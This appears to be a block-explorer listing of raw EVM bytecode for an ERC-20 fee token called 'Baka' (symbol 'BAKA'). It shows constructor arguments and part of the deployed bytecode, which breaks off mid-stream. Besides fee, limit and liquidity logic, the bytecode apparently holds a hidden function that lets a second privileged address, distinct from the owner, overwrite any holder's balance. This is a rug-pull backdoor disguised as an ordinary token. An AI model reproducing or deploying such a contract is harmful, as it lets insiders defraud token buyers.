f1565b3480156104c857600080fd5b506103ef6104d7366004612145565b610b28565b3480156104e857600080fd5b506103ef6104f7366004612162565b610b74565b34801561050857600080fd5b50600354610372906001600160a01b031681565b34801561052857600080fd5b506103ef610537366004612162565b610baa565b34801561054857600080fd5b50610322610557366004612145565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561058157600080fd5b50600a546103229060ff1681565b34801561059b57600080fd5b506102a36105aa366004612145565b610c4d565b3480156105bb57600080fd5b506103ef610c68565b3480156105d057600080fd5b50601054610372906001600160a01b031681565b3480156105f057600080fd5b5060155460165460175461041092919083565b34801561060f57600080fd5b506103ef61061e366004612145565b610cdc565b34801561062f57600080fd5b506103ef61063e366004612145565b610d28565b34801561064f57600080fd5b506000546001600160a01b0316610372565b34801561066d57600080fd5b5060408051808201909152600481526342414b4160e01b60208201526102f5565b34801561069a57600080fd5b506103226106a9366004612073565b610e37565b3480156106ba57600080fd5b506103226106c9366004612073565b610e6e565b3480156106da57600080fd5b50600c546103229060ff1681565b3480156106f457600080fd5b50601154610372906001600160a01b031681565b34801561071457600080fd5b50601854601954601a54601b54601c54601d54601e546107379695949392919087565b604080519788526020880196909652948601939093526060850191909152608084015260a083015260c082015260e0016102ad565b34801561077857600080fd5b506103ef610787366004612189565b610e7b565b34801561079857600080fd5b506103ef6107a73660046121c2565b610ed0565b3480156107b857600080fd5b506103ef6107c7366004612162565b610f9a565b3480156107d857600080fd5b506102a36107e7366004612162565b61102d565b3480156107f857600080fd5b506102a360095481565b34801561080e57600080fd5b506103ef61081d366004612162565b61106d565b34801561082e57600080fd5b506103ef611117565b34801561084357600080fd5b506102a3610852366004612204565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561088957600080fd5b506103ef610898366004612073565b611150565b3480156108a957600080fd5b5060115461032290600160a01b900460ff1681565b3480156108ca57600080fd5b506103ef6108d9366004612145565b611196565b3480156108ea57600080fd5b506103ef6108f9366004612145565b611280565b600061090b3384846112cc565b5060015b92915050565b6000826109218361102d565b119392505050565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161095390612232565b60405180910390fd5b601984610969878961227d565b610973919061227d565b11156109d65760405162461bcd60e51b815260206004820152602c60248201527f546f74616c20627579206665652063616e6e6f7420626520736574206869676860448201526b32b9103a3430b710191a929760a11b6064820152608401610953565b6019816109e3848661227d565b6109ed919061227d565b1115610a515760405162461bcd60e51b815260206004820152602d60248201527f546f74616c2073656c6c206665652063616e6e6f74206265207365742068696760448201526c3432b9103a3430b710191a929760991b6064820152608401610953565b601295909555601393909355601491909155601555601655601755565b6000610a7b8484846113f0565b6001600160a01b038416600090815260056020908152604080832033808552925290912054610ab6918691610ab1908690612290565b6112cc565b5060019392505050565b6000610aec610ad061dead610c4d565b610ae6610add6000610c4d565b60075490611847565b90611847565b905090565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090b918590610ab190869061227d565b6000546001600160a01b03163314610b525760405162461bcd60e51b815260040161095390612232565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b9e5760405162461bcd60e51b815260040161095390612232565b610ba781611890565b50565b6000546001600160a01b03163314610bd45760405162461bcd60e51b815260040161095390612232565b6402540be400811015610c395760405162461bcd60e51b815260206004820152602760248201527f4d61782057616c6c65742063616e6e6f7420626520736574206c6f77657220746044820152663430b71018929760c91b6064820152608401610953565b610c4781633b9aca006122a3565b60085550565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610c925760405162461bcd60e51b815260040161095390612232565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610d065760405162461bcd60e51b815260040161095390612232565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d525760405162461bcd60e51b815260040161095390612232565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc491906122ba565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3391906122d3565b5050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090b918590610ab1908690612290565b600061090b3384846113f0565b6000546001600160a01b03163314610ea55760405162461bcd60e51b815260040161095390612232565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610efa5760405162461bcd60e51b815260040161095390612232565b63ee6b2800821115610f665760405162461bcd60e51b815260206004820152602f60248201527f53776170546f6b656e4174416d6f756e742063616e6e6f74206265207365742060448201526e3434b3b432b9103a3430b7101a129760891b6064820152608401610953565b600a805460ff1916841515179055610f8282633b9aca006122a3565b600b55600c805460ff19169115159190911790555050565b6000546001600160a01b03163314610fc45760405162461bcd60e51b815260040161095390612232565b6404a817c800811015610fe95760405162461bcd60e51b8152600401610953906122f0565b6404a817c80081101561100e5760405162461bcd60e51b8152600401610953906122f0565b61101c81633b9aca006122a3565b600955610c4781633b9aca006122a3565b600061090f61103a610ac0565b600354611067906110609060029061105a906001600160a01b0316610c4d565b90611bbc565b8590611bbc565b90611c3e565b6000546001600160a01b031633146110975760405162461bcd60e51b815260040161095390612232565b6402540be4008110156111035760405162461bcd60e51b815260206004820152602e60248201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60448201526d3bb2b9103a3430b71018171a929760911b6064820152608401610953565b61111181633b9aca006122a3565b60095550565b6000546001600160a01b031633146111415760405162461bcd60e51b815260040161095390612232565b6011805460ff60a01b19169055565b6001546001600160a01b0316331461117a5760405162461bcd60e51b815260040161095390612232565b6001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b031633146111c05760405162461bcd60e51b815260040161095390612232565b6001600160a01b0381166112255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610953565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112aa5760405162461bcd60e51b815260040161095390612232565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661132e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610953565b6001600160a01b03821661138f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610953565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610953565b6001600160a01b0382166114b65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610953565b600081116115185760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610953565b6001600160a01b03831660009081526004602052604081208054839290611540908490612290565b90915550506001600160a01b03831660009081526006602052604081205482919060ff1615801561158a57506001600160a01b03841660009081526006602052604090205460ff16155b15611593575060015b80156117c4576003546001600160a01b038581169116148015906115c457506003546001600160a01b038681169116145b1561163f57601154600160a01b900460ff1615611632576009548311156115fd5760405162461bcd60e51b81526004016109539061233c565b6008548361160a86610c4d565b611614919061227d565b11156116325760405162461bcd60e51b815260040161095390612385565b61163c8385611c80565b91505b6003546001600160a01b0386811691161480159061166a57506003546001600160a01b038581169116145b1561172a57601154600160a01b900460ff16156116a3576009548311156116a35760405162461bcd60e51b81526004016109539061233c565b6116ad8386611c80565b600a5490925060ff1680156116cc5750600b546116c930610c4d565b10155b80156116db575060215460ff16155b1561172a576021805460ff19166001179055600c5460ff1615806117015750600b548210155b1561171657611711600b54611890565b61171f565b61171f82611890565b6021805460ff191690555b6003546001600160a01b0385811691161480159061175657506003546001600160a01b03868116911614155b156117c457601154600160a01b900460ff16156117c45760095483111561178f5760405162461bcd60e51b81526004016109539061233c565b6008548361179c86610c4d565b6117a6919061227d565b11156117c45760405162461bcd60e51b815260040161095390612385565b6001600160a01b038416600090815260046020526040812080548492906117ec90849061227d565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183891815260200190565b60405180910390a35050505050565b600061188983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d9a565b9392505050565b600081905060006118a5600d54600e54610915565b6118be576015546012546118b9919061227d565b6118c1565b60005b6017546014546016546013549394506000936118dd908661227d565b6118e7919061227d565b6118f1919061227d565b6118fb919061227d565b61190583856122a3565b61190f91906123c8565b60175460145460165460135493945060009361192b908761227d565b611935919061227d565b61193f919061227d565b611949919061227d565b601654601354611959919061227d565b61196390866122a3565b61196d91906123c8565b601754601454601654601354939450600093611989908861227d565b611993919061227d565b61199d919061227d565b6119a7919061227d565b6017546014546119b7919061227d565b6119c190876122a3565b6119cb91906123c8565b905082601860000160008282546119e2919061227d565b9091555050601980548391906000906119fc90849061227d565b9091555050601a8054829190600090611a1690849061227d565b909155506000905081611a29848661227d565b611a33919061227d565b90506000611a42856002611c3e565b90508060186003016000828254611a59919061227d565b9091555060009050611a6b8883611847565b905047611a7782611dd4565b6000611a834783611847565b90506000611a9586611067848c611bbc565b90506000611aa787611067858b611bbc565b90508160186004016000828254611abe919061227d565b9091555050601e8054829190600090611ad890849061227d565b90915550611ae890508683611f2e565b4760186005016000828254611afd919061227d565b90915550506011546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611b4f576040519150601f19603f3d011682016040523d82523d6000602084013e611b54565b606091505b50506010546040519192506001600160a01b0316904790600081818185875af1925050503d8060008114611ba4576040519150601f19603f3d011682016040523d82523d6000602084013e611ba9565b606091505b5050505050505050505050505050505050565b600082600003611bce5750600061090f565b6000611bda83856122a3565b905082611be785836123c8565b146118895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610953565b600061188983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe2565b600080606460126000015485611c9691906122a3565b611ca091906123c8565b90506000606460126001015486611cb791906122a3565b611cc191906123c8565b90506000606460126002015487611cd891906122a3565b611ce291906123c8565b905080611cef838561227d565b611cf9919061227d565b3060009081526004602052604081208054909190611d1890849061227d565b909155503090506001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83611d55878761227d565b611d5f919061227d565b60405190815260200160405180910390a38082611d7c8589612290565b611d869190612290565b611d909190612290565b9695505050505050565b60008184841115611dbe5760405162461bcd60e51b81526004016109539190612010565b506000611dcb8486612290565b95945050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e0957611e096123ea565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e869190612400565b81600181518110611e9957611e996123ea565b6001600160a01b039283166020918202929092010152600254611ebf91309116846112cc565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ef890859060009086903090429060040161241d565b600060405180830381600087803b158015611f1257600080fd5b505af1158015611f26573d6000803e3d6000fd5b505050505050565b600254611f469030906001600160a01b0316846112cc565b600254600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611fb6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fdb919061248e565b5050505050565b600081836120035760405162461bcd60e51b81526004016109539190612010565b506000611dcb84866123c8565b600060208083528351808285015260005b8181101561203d57858101830151858201604001528201612021565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ba757600080fd5b6000806040838503121561208657600080fd5b82356120918161205e565b946020939093013593505050565b600080604083850312156120b257600080fd5b50508035926020909101359150565b60008060008060008060c087890312156120da57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60008060006060848603121561211957600080fd5b83356121248161205e565b925060208401356121348161205e565b929592945050506040919091013590565b60006020828403121561215757600080fd5b81356118898161205e565b60006020828403121561217457600080fd5b5035919050565b8015158114610ba757600080fd5b6000806040838503121561219c57600080fd5b82356121a78161205e565b915060208301356121b78161217b565b809150509250929050565b6000806000606084860312156121d757600080fd5b83356121e28161217b565b92506020840135915060408401356121f98161217b565b809150509250925092565b6000806040838503121561221757600080fd5b82356122228161205e565b915060208301356121b78161205e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561090f5761090f612267565b8181038181111561090f5761090f612267565b808202811582820484141761090f5761090f612267565b6000602082840312156122cc57600080fd5b5051919050565b6000602082840312156122e557600080fd5b81516118898161217b565b6020808252602c908201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60408201526b3bb2b9103a3430b71019129760a11b606082015260800190565b60208082526029908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152681e1b9cd05b5bdd5b9d60ba1b606082015260800190565b60208082526023908201527f5472616e7366657220616d6f756e742065786365656473207468652077616c4160408201526236ba1760e91b606082015260800190565b6000826123e557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561241257600080fd5b81516118898161205e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561246d5784516001600160a01b031683529383019391830191600101612448565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156124a357600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220fa11209ce2612175abc500d8fd5c5178201cad08d4edf5f1436e3b8ad616f05364736f6c63430008130033000000000000000000000000aa0b84212b49c92d36ed11e5fb87c2e865cf10c3000000000000000000000000aa0b84212b49c92d36ed11e5fb87c2e865cf10c3000000000000000000000000dabc027921efa4623a3ce2ff700084f277f2c84a

Deployed Bytecode

0x6080604052600436106102815760003560e01c806375f0a8741161014f578063c0246668116100c1578063db05e5cb1161007a578063db05e5cb14610822578063dd62ed3e14610837578063ddc6a1711461087d578063f1e552571461089d578063f2fde38b146108be578063fa482b4f146108de57600080fd5b8063c02466681461076c578063c6077c2b1461078c578063cb76c775146107ac578063d51ed1c8146107cc578063d9497e25146107ec578063db0199131461080257600080fd5b806395d89b411161011357806395d89b4114610661578063a457c2d71461068e578063a9059cbb146106ae578063acc6bc72146106ce578063bf4cc52b146106e8578063bfa846ed1461070857600080fd5b806375f0a874146105c45780637700cbf1146105e457806382f5c26b14610603578063885a4cd0146106235780638da5cb5b1461064357600080fd5b8063264d26dd116101f357806349bd5a5e116101ac57806349bd5a5e146104fc5780634b5cc1f31461051c5780635342acb41461053c5780636ddd17131461057557806370a082311461058f578063715018a6146105af57600080fd5b8063264d26dd1461044b5780632b112e491461046b578063313ce56714610480578063395093511461049c578063454543af146104bc57806348914217146104dc57600080fd5b80631694505e116102455780631694505e1461035257806318160ddd1461038a5780631b58f6131461039f5780631c36e9a3146103cf57806322386431146103f157806323b872dd1461042b57600080fd5b806301515d8a1461028d57806303e403b0146102b657806306fdde03146102cc578063095ea7b3146103025780631161ae391461033257600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a360085481565b6040519081526020015b60405180910390f35b3480156102c257600080fd5b506102a3600b5481565b3480156102d857600080fd5b5060408051808201909152600481526342616b6160e01b60208201525b6040516102ad9190612010565b34801561030e57600080fd5b5061032261031d366004612073565b6108fe565b60405190151581526020016102ad565b34801561033e57600080fd5b5061032261034d36600461209f565b610915565b34801561035e57600080fd5b50600254610372906001600160a01b031681565b6040516001600160a01b0390911681526020016102ad565b34801561039657600080fd5b506007546102a3565b3480156103ab57600080fd5b50601f546020546103ba919082565b604080519283526020830191909152016102ad565b3480156103db57600080fd5b506103ef6103ea3660046120c1565b610929565b005b3480156103fd57600080fd5b5060125460135460145461041092919083565b604080519384526020840192909252908201526060016102ad565b34801561043757600080fd5b50610322610446366004612104565b610a6e565b34801561045757600080fd5b50600f54610372906001600160a01b031681565b34801561047757600080fd5b506102a3610ac0565b34801561048c57600080fd5b50604051600981526020016102ad565b3480156104a857600080fd5b506103226104b7366004612073565b610af1565b3480156104c857600080fd5b506103ef6104d7366004612145565b610b28565b3480156104e857600080fd5b506103ef6104f7366004612162565b610b74565b34801561050857600080fd5b50600354610372906001600160a01b031681565b34801561052857600080fd5b506103ef610537366004612162565b610baa565b34801561054857600080fd5b50610322610557366004612145565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561058157600080fd5b50600a546103229060ff1681565b34801561059b57600080fd5b506102a36105aa366004612145565b610c4d565b3480156105bb57600080fd5b506103ef610c68565b3480156105d057600080fd5b50601054610372906001600160a01b031681565b3480156105f057600080fd5b5060155460165460175461041092919083565b34801561060f57600080fd5b506103ef61061e366004612145565b610cdc565b34801561062f57600080fd5b506103ef61063e366004612145565b610d28565b34801561064f57600080fd5b506000546001600160a01b0316610372565b34801561066d57600080fd5b5060408051808201909152600481526342414b4160e01b60208201526102f5565b34801561069a57600080fd5b506103226106a9366004612073565b610e37565b3480156106ba57600080fd5b506103226106c9366004612073565b610e6e565b3480156106da57600080fd5b50600c546103229060ff1681565b3480156106f457600080fd5b50601154610372906001600160a01b031681565b34801561071457600080fd5b50601854601954601a54601b54601c54601d54601e546107379695949392919087565b604080519788526020880196909652948601939093526060850191909152608084015260a083015260c082015260e0016102ad565b34801561077857600080fd5b506103ef610787366004612189565b610e7b565b34801561079857600080fd5b506103ef6107a73660046121c2565b610ed0565b3480156107b857600080fd5b506103ef6107c7366004612162565b610f9a565b3480156107d857600080fd5b506102a36107e7366004612162565b61102d565b3480156107f857600080fd5b506102a360095481565b34801561080e57600080fd5b506103ef61081d366004612162565b61106d565b34801561082e57600080fd5b506103ef611117565b34801561084357600080fd5b506102a3610852366004612204565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561088957600080fd5b506103ef610898366004612073565b611150565b3480156108a957600080fd5b5060115461032290600160a01b900460ff1681565b3480156108ca57600080fd5b506103ef6108d9366004612145565b611196565b3480156108ea57600080fd5b506103ef6108f9366004612145565b611280565b600061090b3384846112cc565b5060015b92915050565b6000826109218361102d565b119392505050565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161095390612232565b60405180910390fd5b601984610969878961227d565b610973919061227d565b11156109d65760405162461bcd60e51b815260206004820152602c60248201527f546f74616c20627579206665652063616e6e6f7420626520736574206869676860448201526b32b9103a3430b710191a929760a11b6064820152608401610953565b6019816109e3848661227d565b6109ed919061227d565b1115610a515760405162461bcd60e51b815260206004820152602d60248201527f546f74616c2073656c6c206665652063616e6e6f74206265207365742068696760448201526c3432b9103a3430b710191a929760991b6064820152608401610953565b601295909555601393909355601491909155601555601655601755565b6000610a7b8484846113f0565b6001600160a01b038416600090815260056020908152604080832033808552925290912054610ab6918691610ab1908690612290565b6112cc565b5060019392505050565b6000610aec610ad061dead610c4d565b610ae6610add6000610c4d565b60075490611847565b90611847565b905090565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090b918590610ab190869061227d565b6000546001600160a01b03163314610b525760405162461bcd60e51b815260040161095390612232565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b9e5760405162461bcd60e51b815260040161095390612232565b610ba781611890565b50565b6000546001600160a01b03163314610bd45760405162461bcd60e51b815260040161095390612232565b6402540be400811015610c395760405162461bcd60e51b815260206004820152602760248201527f4d61782057616c6c65742063616e6e6f7420626520736574206c6f77657220746044820152663430b71018929760c91b6064820152608401610953565b610c4781633b9aca006122a3565b60085550565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610c925760405162461bcd60e51b815260040161095390612232565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610d065760405162461bcd60e51b815260040161095390612232565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610d525760405162461bcd60e51b815260040161095390612232565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc491906122ba565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610e0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3391906122d3565b5050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090b918590610ab1908690612290565b600061090b3384846113f0565b6000546001600160a01b03163314610ea55760405162461bcd60e51b815260040161095390612232565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610efa5760405162461bcd60e51b815260040161095390612232565b63ee6b2800821115610f665760405162461bcd60e51b815260206004820152602f60248201527f53776170546f6b656e4174416d6f756e742063616e6e6f74206265207365742060448201526e3434b3b432b9103a3430b7101a129760891b6064820152608401610953565b600a805460ff1916841515179055610f8282633b9aca006122a3565b600b55600c805460ff19169115159190911790555050565b6000546001600160a01b03163314610fc45760405162461bcd60e51b815260040161095390612232565b6404a817c800811015610fe95760405162461bcd60e51b8152600401610953906122f0565b6404a817c80081101561100e5760405162461bcd60e51b8152600401610953906122f0565b61101c81633b9aca006122a3565b600955610c4781633b9aca006122a3565b600061090f61103a610ac0565b600354611067906110609060029061105a906001600160a01b0316610c4d565b90611bbc565b8590611bbc565b90611c3e565b6000546001600160a01b031633146110975760405162461bcd60e51b815260040161095390612232565b6402540be4008110156111035760405162461bcd60e51b815260206004820152602e60248201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60448201526d3bb2b9103a3430b71018171a929760911b6064820152608401610953565b61111181633b9aca006122a3565b60095550565b6000546001600160a01b031633146111415760405162461bcd60e51b815260040161095390612232565b6011805460ff60a01b19169055565b6001546001600160a01b0316331461117a5760405162461bcd60e51b815260040161095390612232565b6001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b031633146111c05760405162461bcd60e51b815260040161095390612232565b6001600160a01b0381166112255760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610953565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112aa5760405162461bcd60e51b815260040161095390612232565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661132e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610953565b6001600160a01b03821661138f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610953565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610953565b6001600160a01b0382166114b65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610953565b600081116115185760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610953565b6001600160a01b03831660009081526004602052604081208054839290611540908490612290565b90915550506001600160a01b03831660009081526006602052604081205482919060ff1615801561158a57506001600160a01b03841660009081526006602052604090205460ff16155b15611593575060015b80156117c4576003546001600160a01b038581169116148015906115c457506003546001600160a01b038681169116145b1561163f57601154600160a01b900460ff1615611632576009548311156115fd5760405162461bcd60e51b81526004016109539061233c565b6008548361160a86610c4d565b611614919061227d565b11156116325760405162461bcd60e51b815260040161095390612385565b61163c8385611c80565b91505b6003546001600160a01b0386811691161480159061166a57506003546001600160a01b038581169116145b1561172a57601154600160a01b900460ff16156116a3576009548311156116a35760405162461bcd60e51b81526004016109539061233c565b6116ad8386611c80565b600a5490925060ff1680156116cc5750600b546116c930610c4d565b10155b80156116db575060215460ff16155b1561172a576021805460ff19166001179055600c5460ff1615806117015750600b548210155b1561171657611711600b54611890565b61171f565b61171f82611890565b6021805460ff191690555b6003546001600160a01b0385811691161480159061175657506003546001600160a01b03868116911614155b156117c457601154600160a01b900460ff16156117c45760095483111561178f5760405162461bcd60e51b81526004016109539061233c565b6008548361179c86610c4d565b6117a6919061227d565b11156117c45760405162461bcd60e51b815260040161095390612385565b6001600160a01b038416600090815260046020526040812080548492906117ec90849061227d565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183891815260200190565b60405180910390a35050505050565b600061188983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d9a565b9392505050565b600081905060006118a5600d54600e54610915565b6118be576015546012546118b9919061227d565b6118c1565b60005b6017546014546016546013549394506000936118dd908661227d565b6118e7919061227d565b6118f1919061227d565b6118fb919061227d565b61190583856122a3565b61190f91906123c8565b60175460145460165460135493945060009361192b908761227d565b611935919061227d565b61193f919061227d565b611949919061227d565b601654601354611959919061227d565b61196390866122a3565b61196d91906123c8565b601754601454601654601354939450600093611989908861227d565b611993919061227d565b61199d919061227d565b6119a7919061227d565b6017546014546119b7919061227d565b6119c190876122a3565b6119cb91906123c8565b905082601860000160008282546119e2919061227d565b9091555050601980548391906000906119fc90849061227d565b9091555050601a8054829190600090611a1690849061227d565b909155506000905081611a29848661227d565b611a33919061227d565b90506000611a42856002611c3e565b90508060186003016000828254611a59919061227d565b9091555060009050611a6b8883611847565b905047611a7782611dd4565b6000611a834783611847565b90506000611a9586611067848c611bbc565b90506000611aa787611067858b611bbc565b90508160186004016000828254611abe919061227d565b9091555050601e8054829190600090611ad890849061227d565b90915550611ae890508683611f2e565b4760186005016000828254611afd919061227d565b90915550506011546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611b4f576040519150601f19603f3d011682016040523d82523d6000602084013e611b54565b606091505b50506010546040519192506001600160a01b0316904790600081818185875af1925050503d8060008114611ba4576040519150601f19603f3d011682016040523d82523d6000602084013e611ba9565b606091505b5050505050505050505050505050505050565b600082600003611bce5750600061090f565b6000611bda83856122a3565b905082611be785836123c8565b146118895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610953565b600061188983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe2565b600080606460126000015485611c9691906122a3565b611ca091906123c8565b90506000606460126001015486611cb791906122a3565b611cc191906123c8565b90506000606460126002015487611cd891906122a3565b611ce291906123c8565b905080611cef838561227d565b611cf9919061227d565b3060009081526004602052604081208054909190611d1890849061227d565b909155503090506001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83611d55878761227d565b611d5f919061227d565b60405190815260200160405180910390a38082611d7c8589612290565b611d869190612290565b611d909190612290565b9695505050505050565b60008184841115611dbe5760405162461bcd60e51b81526004016109539190612010565b506000611dcb8486612290565b95945050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e0957611e096123ea565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e869190612400565b81600181518110611e9957611e996123ea565b6001600160a01b039283166020918202929092010152600254611ebf91309116846112cc565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ef890859060009086903090429060040161241d565b600060405180830381600087803b158015611f1257600080fd5b505af1158015611f26573d6000803e3d6000fd5b505050505050565b600254611f469030906001600160a01b0316846112cc565b600254600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611fb6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fdb919061248e565b5050505050565b600081836120035760405162461bcd60e51b81526004016109539190612010565b506000611dcb84866123c8565b600060208083528351808285015260005b8181101561203d57858101830151858201604001528201612021565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ba757600080fd5b6000806040838503121561208657600080fd5b82356120918161205e565b946020939093013593505050565b600080604083850312156120b257600080fd5b50508035926020909101359150565b60008060008060008060c087890312156120da57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b60008060006060848603121561211957600080fd5b83356121248161205e565b925060208401356121348161205e565b929592945050506040919091013590565b60006020828403121561215757600080fd5b81356118898161205e565b60006020828403121561217457600080fd5b5035919050565b8015158114610ba757600080fd5b6000806040838503121561219c57600080fd5b82356121a78161205e565b915060208301356121b78161217b565b809150509250929050565b6000806000606084860312156121d757600080fd5b83356121e28161217b565b9250